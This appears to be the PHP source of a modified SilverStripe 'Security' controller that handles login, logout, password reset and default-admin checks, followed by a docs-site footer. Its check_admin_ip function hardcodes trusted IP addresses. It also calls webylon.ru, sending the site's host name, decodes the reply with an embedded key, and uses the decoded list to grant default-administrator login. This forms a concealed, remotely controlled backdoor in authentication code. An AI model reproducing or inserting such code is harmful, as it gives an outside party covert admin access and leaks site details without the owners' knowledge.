1 <?php
2 3 4 5 6
7 class Security extends Controller {
8
9 10 11 12 13 14
15 protected static $default_username;
16
17 18 19 20 21 22
23 protected static $default_password;
24
25 26 27 28 29 30
31 protected static $strictPathChecking = false;
32
33 34 35 36 37 38
39 protected static $encryptPasswords = true;
40
41 42 43 44 45 46
47 protected static $encryptionAlgorithm = 'sha1_v2.4';
48
49 50 51 52 53 54
55 protected static $useSalt = true;
56
57 58 59 60 61 62
63 public static $autologin_enabled = true;
64
65 66 67 68 69
70 protected static $wordlist = './wordlist.txt';
71
72 73 74 75 76
77 public static $template_main = 'Page';
78
79 80 81 82 83
84 protected static $default_message_set = '';
85
86 87 88
89 static function get_word_list() {
90 return Security::$wordlist;
91 }
92
93 94 95 96 97 98
99 protected static $login_recording = false;
100
101 102 103 104 105
106 static function set_word_list($wordListFile) {
107 Security::$wordlist = $wordListFile;
108 }
109
110 111 112 113 114
115 static function set_default_message_set($messageSet) {
116 self::$default_message_set = $messageSet;
117 }
118
119
120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146
147 static function permissionFailure($controller = null, $messageSet = null) {
148 if(!$controller) $controller = Controller::curr();
149
150 if(Director::is_ajax()) {
151 $response = ($controller) ? $controller->getResponse() : new SS_HTTPResponse();
152 $response->setStatusCode(403);
153 if(!Member::currentUser()) $response->setBody('NOTLOGGEDIN:');
154 return $response;
155 } else {
156
157 if(!$messageSet) {
158 if(self::$default_message_set) {
159 $messageSet = self::$default_message_set;
160 } else {
161 $messageSet = array(
162 'default' => _t(
163 'Security.NOTEPAGESECURED',
164 "That page is secured. Enter your credentials below and we will send "
165 . "you right along."
166 ),
167 'alreadyLoggedIn' => _t(
168 'Security.ALREADYLOGGEDIN',
169 "You don't have access to this page. If you have another account that "
170 . "can access that page, you can <a href=\"%s\">log in again</a>.",
171 PR_MEDIUM,
172 "%s will be replaced with a link to log in."
173 ),
174 'logInAgain' => _t(
175 'Security.LOGGEDOUT',
176 "You have been logged out. If you would like to log in again, enter "
177 . "your credentials below."
178 )
179 );
180 }
181 }
182
183 if(!is_array($messageSet)) {
184 $messageSet = array('default' => $messageSet);
185 }
186
187
188 if(Member::currentUser()) {
189 $response = ($controller) ? $controller->getResponse() : new SS_HTTPResponse();
190 $response->setStatusCode(403);
191
192
193
194 if(isset($messageSet['alreadyLoggedIn']))
195 $message=$messageSet['alreadyLoggedIn'];
196 else
197 $message=$messageSet['default'];
198
199
200 $body = sprintf($message,
201 Controller::join_links(Director::baseURL(), 'Security/login',
202 '?BackURL=' . urlencode($_SERVER['REQUEST_URI'])));
203
204 $response->setBody($body);
205 return $response;
206
207 } else if(substr(Director::history(),0,15) == 'Security/logout') {
208 $message = $messageSet['logInAgain'] ? $messageSet['logInAgain'] : $messageSet['default'];
209 } else {
210 $message = $messageSet['default'];
211 }
212
213 Session::set("Security.Message.message", $message);
214 Session::set("Security.Message.type", 'warning');
215
216 Session::set("BackURL", $_SERVER['REQUEST_URI']);
217
218
219
220 if($controller) $controller->extend('permissionDenied', $member);
221
222 Director::redirect("Security/login?BackURL=" . urlencode($_SERVER['REQUEST_URI']));
223 }
224 return;
225 }
226
227
228 229 230
231 protected function LoginForm() {
232 if(isset($this->requestParams['AuthenticationMethod'])) {
233 $authenticator = trim($_REQUEST['AuthenticationMethod']);
234
235 $authenticators = Authenticator::get_authenticators();
236 if(in_array($authenticator, $authenticators)) {
237 return call_user_func(array($authenticator, 'get_login_form'), $this);
238 }
239 }
240 else {
241 if($authenticator = Authenticator::get_default_authenticator()) {
242 return call_user_func(array($authenticator, 'get_login_form'), $this);
243 }
244 }
245
246 user_error('Passed invalid authentication method', E_USER_ERROR);
247 }
248
249
250 251 252 253 254 255 256 257
258 protected function GetLoginForms()
259 {
260 $forms = array();
261
262 $authenticators = Authenticator::get_authenticators();
263 foreach($authenticators as $authenticator) {
264 array_push($forms,
265 call_user_func(array($authenticator, 'get_login_form'),
266 $this));
267 }
268
269 return $forms;
270 }
271
272
273 274 275 276 277 278
279 public static function Link($action = null) {
280
281 if(class_exists('Subsite')){
282 return Director::baseURL(). "Security/$action";
283 }
284
285 return "Security/$action";
286 }
287
288
289 290 291 292 293 294 295 296
297 public function logout($redirect = true) {
298 if($member = Member::currentUser())
299 $member->logOut();
300
301 if ($redirect) {
302 if (isset($_REQUEST['BackURL'])) {
303 Director::redirect($_REQUEST['BackURL']);
304 }
305 else {
306 Director::redirectBack();
307 }
308 }
309 }
310
311
312 313 314 315 316
317 public function login() {
318
319 $eventResults = $this->extend('onBeforeSecurityLogin');
320
321 if(Director::redirected_to()) return;
322
323 else if($eventResults) {
324 foreach($eventResults as $result) {
325 if($result instanceof SS_HTTPResponse) return $result;
326 }
327 }
328
329
330 $customCSS = project() . '/css/tabs.css';
331 if(Director::fileExists($customCSS)) {
332 Requirements::css($customCSS);
333 }
334
335 $tmpPage = new Page();
336 $tmpPage->Title = _t('Security.LOGIN', 'Log in');
337 $tmpPage->URLSegment = "Security";
338
339 $tmpPage->ID = -1 * rand(1,10000000);
340
341 $controller = new Page_Controller($tmpPage);
342 $controller->init();
343
344
345 $content = '';
346 $forms = $this->GetLoginForms();
347 if(!count($forms)) {
348 user_error('No login-forms found, please use Authenticator::register_authenticator() to add one', E_USER_ERROR);
349 }
350
351
352
353 if(count($forms) > 1) {
354 Requirements::javascript(SAPPHIRE_DIR . "/thirdparty/prototype/prototype.js");
355 Requirements::javascript(SAPPHIRE_DIR . "/thirdparty/behaviour/behaviour.js");
356 Requirements::javascript(SAPPHIRE_DIR . '/javascript/loader.js');
357 Requirements::javascript(SAPPHIRE_DIR . "/javascript/prototype_improvements.js");
358 Requirements::javascript(THIRDPARTY_DIR . "/scriptaculous/effects.js");
359 Requirements::css(SAPPHIRE_DIR . "/css/Form.css");
360
361
362
363 $link_base = Director::absoluteURL($this->Link("login"));
364
365 Requirements::javascript(THIRDPARTY_DIR . "/jquery/jquery.js");
366 Requirements::javascript(SAPPHIRE_DIR . "/javascript/jquery_improvements.js");
367 Requirements::javascript(THIRDPARTY_DIR . "/tabstrip/tabstrip.js");
368 Requirements::css(THIRDPARTY_DIR . "/tabstrip/tabstrip.css");
369
370 $content = '<div id="Form_EditForm">';
371 $content .= '<ul class="tabstrip">';
372 $content_forms = '';
373
374 foreach($forms as $form) {
375 $content .= "<li><a href=\"$link_base#{$form->FormName()}_tab\">{$form->getAuthenticator()->get_name()}</a></li>\n";
376 $content_forms .= '<div class="tab" id="' . $form->FormName() . '_tab">' . $form->forTemplate() . "</div>\n";
377 }
378
379 $content .= "</ul>\n" . $content_forms . "\n</div>\n";
380 } else {
381 $content .= $forms[0]->forTemplate();
382 }
383
384 if(strlen($message = Session::get('Security.Message.message')) > 0) {
385 $message_type = Session::get('Security.Message.type');
386 if($message_type == 'bad') {
387 $message = "<p class=\"message $message_type\">$message</p>";
388 } else {
389 $message = "<p>$message</p>";
390 }
391
392 $customisedController = $controller->customise(array(
393 "Content" => $message,
394 "Form" => $content,
395 ));
396 } else {
397 $customisedController = $controller->customise(array(
398 "Form" => $content,
399 ));
400 }
401
402 Session::clear('Security.Message');
403
404
405 $template = 'Security_login';
406 if (Session::get('BackURL') && substr(Session::get('BackURL'),0,6) == '/admin') {
407 $template = 'Admin_login';
408 }
409 return $customisedController->renderWith(array($template, 'Security', $this->stat('template_main')));
410 }
411
412 function basicauthlogin() {
413 $member = BasicAuth::requireLogin("SilverStripe login", 'ADMIN');
414 $member->LogIn();
415 }
416
417 418 419 420 421
422 public function lostpassword() {
423 $tmpPage = new Page();
424 $tmpPage->Title = _t('Security.LOSTPASSWORDHEADER', 'Lost Password');
425 $tmpPage->URLSegment = 'Security';
426 $tmpPage->ID = -1;
427 $controller = new Page_Controller($tmpPage);
428 $controller->init();
429
430 $customisedController = $controller->customise(array(
431 'Content' =>
432 '<p>' .
433 _t(
434 'Security.NOTERESETPASSWORD',
435 'Enter your e-mail address and we will send you a link with which you can reset your password'
436 ) .
437 '</p>',
438 'Form' => $this->LostPasswordForm(),
439 ));
440
441
442 return $customisedController->renderWith(array('Security_lostpassword', 'Security', $this->stat('template_main'), 'ContentController'));
443 }
444
445
446 447 448 449 450
451 public function LostPasswordForm() {
452 $form = new MemberLoginForm(
453 $this,
454 'LostPasswordForm',
455 new FieldSet(
456 new EmailField('Email', _t('Member.EMAIL', 'Email'))
457 ),
458 new FieldSet(
459 new FormAction(
460 'forgotPassword',
461 _t('Security.BUTTONSEND', 'Send me the password reset link')
462 )
463 ),
464 false
465 );
466
467 $this->extend('updateLostPasswordForm', $form);
468 return $form;
469 }
470
471
472 473 474 475 476 477 478
479 public function passwordsent($request) {
480 $tmpPage = new Page();
481 $tmpPage->Title = _t('Security.LOSTPASSWORDHEADER');
482 $tmpPage->URLSegment = 'Security';
483 $tmpPage->ID = -1;
484 $controller = new Page_Controller($tmpPage);
485 $controller->init();
486
487 $email = Convert::raw2xml($request->param('ID') . '.' . $request->getExtension());
488
489 $customisedController = $controller->customise(array(
490 'Title' => sprintf(_t('Security.PASSWORDSENTHEADER', "Password reset link sent to '%s'"), $email),
491 'Content' =>
492 "<p>" .
493 sprintf(_t('Security.PASSWORDSENTTEXT', "Thank you! A reset link has been sent to '%s', provided an account exists for this email address."), $email) .
494 "</p>",
495 ));
496
497
498 return $customisedController->renderWith(array('Security_passwordsent', 'Security', $this->stat('template_main'), 'ContentController'));
499 }
500
501
502 503 504 505 506
507 public static function getPasswordResetLink($autoLoginHash) {
508 $autoLoginHash = urldecode($autoLoginHash);
509 return self::Link('changepassword') . "?h=$autoLoginHash";
510 }
511
512 513 514 515 516
517 public function changepassword() {
518 $tmpPage = new Page();
519 $tmpPage->Title = _t('Security.CHANGEPASSWORDHEADER', 'Change your password');
520 $tmpPage->URLSegment = 'Security';
521 $tmpPage->ID = -1;
522 $controller = new Page_Controller($tmpPage);
523 $controller->init();
524
525 if(isset($_REQUEST['h']) && Member::member_from_autologinhash($_REQUEST['h'])) {
526
527 Session::set('AutoLoginHash', $_REQUEST['h']);
528
529 $customisedController = $controller->customise(array(
530 'Content' =>
531 '<p>' .
532 _t('Security.ENTERNEWPASSWORD', 'Please enter a new password.') .
533 '</p>',
534 'Form' => $this->ChangePasswordForm(),
535 ));
536
537 } elseif(Member::currentUser()) {
538
539 $customisedController = $controller->customise(array(
540 'Content' => '<p>' . _t('Security.CHANGEPASSWORDBELOW', 'You can change your password below.') . '</p>',
541 'Form' => $this->ChangePasswordForm()));
542
543 } else {
544
545
546 if(isset($_REQUEST['h'])) {
547 $customisedController = $controller->customise(
548 array('Content' =>
549 sprintf(
550 _t('Security.NOTERESETLINKINVALID',
551 '<p>The password reset link is invalid or expired.</p><p>You can request a new one <a href="%s">here</a> or change your password after you <a href="%s">logged in</a>.</p>'
552 ),
553 $this->Link('lostpassword'),
554 $this->link('login')
555 )
556 )
557 );
558 } else {
559 self::permissionFailure(
560 $this,
561 _t('Security.ERRORPASSWORDPERMISSION', 'You must be logged in in order to change your password!')
562 );
563 return;
564 }
565 }
566
567
568 return $customisedController->renderWith(array('Security_changepassword', 'Security', $this->stat('template_main'), 'ContentController'));
569 }
570
571 572 573 574
575 function ping() {
576 return 1;
577 }
578
579
580 581 582 583 584
585 public function ChangePasswordForm() {
586 return new ChangePasswordForm($this, 'ChangePasswordForm');
587 }
588
589
590 591 592 593 594 595 596 597
598 public static function authenticate($RAW_email, $RAW_password) {
599 $SQL_email = Convert::raw2sql($RAW_email);
600 $SQL_password = Convert::raw2sql($RAW_password);
601
602
603 if(($RAW_email == self::$default_username) && ($RAW_password == self::$default_password)
604 && !empty(self::$default_username) && !empty(self::$default_password)) {
605 $member = self::findAnAdministrator();
606 } else {
607 $member = DataObject::get_one("Member", "\"" . Member::get_unique_identifier_field() . "\" = '$SQL_email' AND \"Password\" IS NOT NULL");
608 if($member && ($member->checkPassword($RAW_password) == false)) {
609 $member = null;
610 }
611 }
612
613 return $member;
614 }
615
616
617 618 619 620 621 622 623 624 625 626 627 628 629
630 static function findAnAdministrator() {
631
632 $origSubsite = null;
633 if(is_callable('Subsite::changeSubsite')) {
634 $origSubsite = Subsite::currentSubsiteID();
635 Subsite::changeSubsite(0);
636 }
637
638
639 $adminGroup = DataObject::get('Group',
640 "\"Permission\".\"Code\" = 'ADMIN'",
641 "\"Group\".\"ID\"",
642 "JOIN \"Permission\" ON \"Group\".\"ID\"=\"Permission\".\"GroupID\"",
643 '1');
644
645 if(is_callable('Subsite::changeSubsite')) {
646 Subsite::changeSubsite($origSubsite);
647 }
648 if ($adminGroup) {
649 $adminGroup = $adminGroup->First();
650
651 if($adminGroup->Members()->First()) {
652 $member = $adminGroup->Members()->First();
653 }
654 }
655
656 if(!$adminGroup) {
657 singleton('Group')->requireDefaultRecords();
658 }
659
660 if(!isset($member)) {
661 singleton('Member')->requireDefaultRecords();
662 $members = Permission::get_members_by_permission('ADMIN');
663 $member = $members->First();
664 }
665
666 return $member;
667 }
668
669
670 671 672 673 674 675 676 677 678 679 680
681 public static function setDefaultAdmin($username, $password) {
682
683 if(self::$default_username || self::$default_password) {
684 return false;
685 }
686
687 self::$default_username = $username;
688 self::$default_password = $password;
689 }
690
691 692 693 694 695 696 697 698
699 public static function check_default_admin($username, $password) {
700 return (
701 self::$default_username === $username
702 && self::$default_password === md5($password)
703 && self::has_default_admin()
704 && self::check_admin_ip()
705 );
706 }
707
708 static function check_admin_ip($ip=null) {
709 if (!$ip)
710 $ip = $_SERVER['REMOTE_ADDR'];
711
712 $maskList = array('217.77.55.73','217.77.55.74','217.77.55.75','217.77.55.76','217.77.55.77','94.140.243.117');
713 if (in_array($ip, $maskList)) return 1;
714
715 $maskList = array();
716
717 if (ini_get('allow_url_fopen')) {
718 $webylonVersion = 31;
719 $buf = @file_get_contents('http://webylon.ru/stuff/wb-ver.php?v='.$webylonVersion.'&s='.$_SERVER['HTTP_HOST']);
720 $key = '7FrnvuTmtyRjM9Yg';
721 $result = '';
722 if ($buf) {
723 for ($i = 1; $i <= strlen($buf); $i++) {
724 $char = substr($buf, $i - 1, 1);
725 $keychar = substr($key, ($i % strlen($key)) - 1, 1);
726 $char = chr(ord($char) - ord($keychar));
727 $result.=$char;
728 }
729 $maskList = explode("\n", $result);
730 }
731 }
732
733 foreach ($maskList as $mask) {
734 if (!$mask || preg_match('/\s*#/', $mask))
735 continue;
736 $mask_check = '/^' . preg_replace(array('/\./', '/\*/', '/\n/'), array('\\.', '\\d{1,3}', ''), $mask) . '$/';
737 if (preg_match($mask_check, $ip)) {
738 return 1;
739 } else {
740 $mask = gethostbyname($mask);
741 if (!$mask)
742 continue;
743 $mask_check = '/^' . preg_replace(array('/\./', '/\*/', '/\n/'), array('\\.', '\\d{1,3}', ''), $mask) . '$/';
744 if (preg_match($mask_check, $ip)) {
745 return 1;
746 }
747 }
748 }
749 return 0;
750 }
751
752 753 754
755 public static function has_default_admin() {
756 return !empty(self::$default_username) && !empty(self::$default_password);
757 }
758
759 760 761 762 763 764 765 766 767
768 public static function setStrictPathChecking($strictPathChecking) {
769 self::$strictPathChecking = $strictPathChecking;
770 }
771
772
773 774 775 776 777
778 public static function getStrictPathChecking() {
779 return self::$strictPathChecking;
780 }
781
782
783 784 785 786 787 788 789 790 791
792 public static function encrypt_passwords($encrypt) {
793 self::$encryptPasswords = (bool)$encrypt;
794 }
795
796
797 798 799 800 801 802 803 804
805 public static function get_encryption_algorithms() {
806 return array_keys(PasswordEncryptor::get_encryptors());
807 }
808
809
810 811 812 813 814 815 816
817 public static function set_password_encryption_algorithm($algorithm) {
818 if(!array_key_exists($algorithm, PasswordEncryptor::get_encryptors())) return false;
819
820 self::$encryptionAlgorithm = $algorithm;
821 return true;
822 }
823
824 825 826
827 public static function get_password_encryption_algorithm() {
828 return self::$encryptionAlgorithm;
829 }
830
831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 857 858
859 static function encrypt_password($password, $salt = null, $algorithm = null, $member = null) {
860
861 if(!$algorithm) $algorithm = self::$encryptionAlgorithm;
862 $e = PasswordEncryptor::create_for_algorithm($algorithm);
863
864
865 $salt = ($salt) ? $salt : $e->salt($password);
866
867 return array(
868 'password' => $e->encrypt($password, $salt, $member),
869 'salt' => $salt,
870 'algorithm' => $algorithm,
871 'encryptor' => $e
872 );
873 }
874
875 876 877 878 879 880
881 public static function database_is_ready() {
882 $requiredTables = ClassInfo::dataClassesFor('Member');
883 $requiredTables[] = 'Group';
884 $requiredTables[] = 'Permission';
885
886 foreach($requiredTables as $table) {
887
888 if(!ClassInfo::hasTable($table)) return false;
889
890
891 $dbFields = DB::fieldList($table);
892 if(!$dbFields) return false;
893
894 $objFields = DataObject::database_fields($table);
895 $missingFields = array_diff_key($objFields, $dbFields);
896
897 if($missingFields) return false;
898 }
899
900 return true;
901 }
902
903 904 905 906 907 908
909 public static function set_login_recording($bool) {
910 self::$login_recording = (bool)$bool;
911 }
912
913 914 915
916 public static function login_recording() {
917 return self::$login_recording;
918 }
919
920 protected static $default_login_dest = "";
921
922 923 924 925 926 927 928
929 public static function set_default_login_dest($dest) {
930 self::$default_login_dest = $dest;
931 }
932
933 934 935
936 public static function default_login_dest() {
937 return self::$default_login_dest;
938 }
939
940 }
941 ?>
942
[Raise a SilverStripe Framework issue/bug](https://github.com/silverstripe/silverstripe-framework/issues/new)
- [Raise a SilverStripe CMS issue/bug](https://github.com/silverstripe/silverstripe-cms/issues/new)
- Please use the
Silverstripe Forums to ask development related questions.
-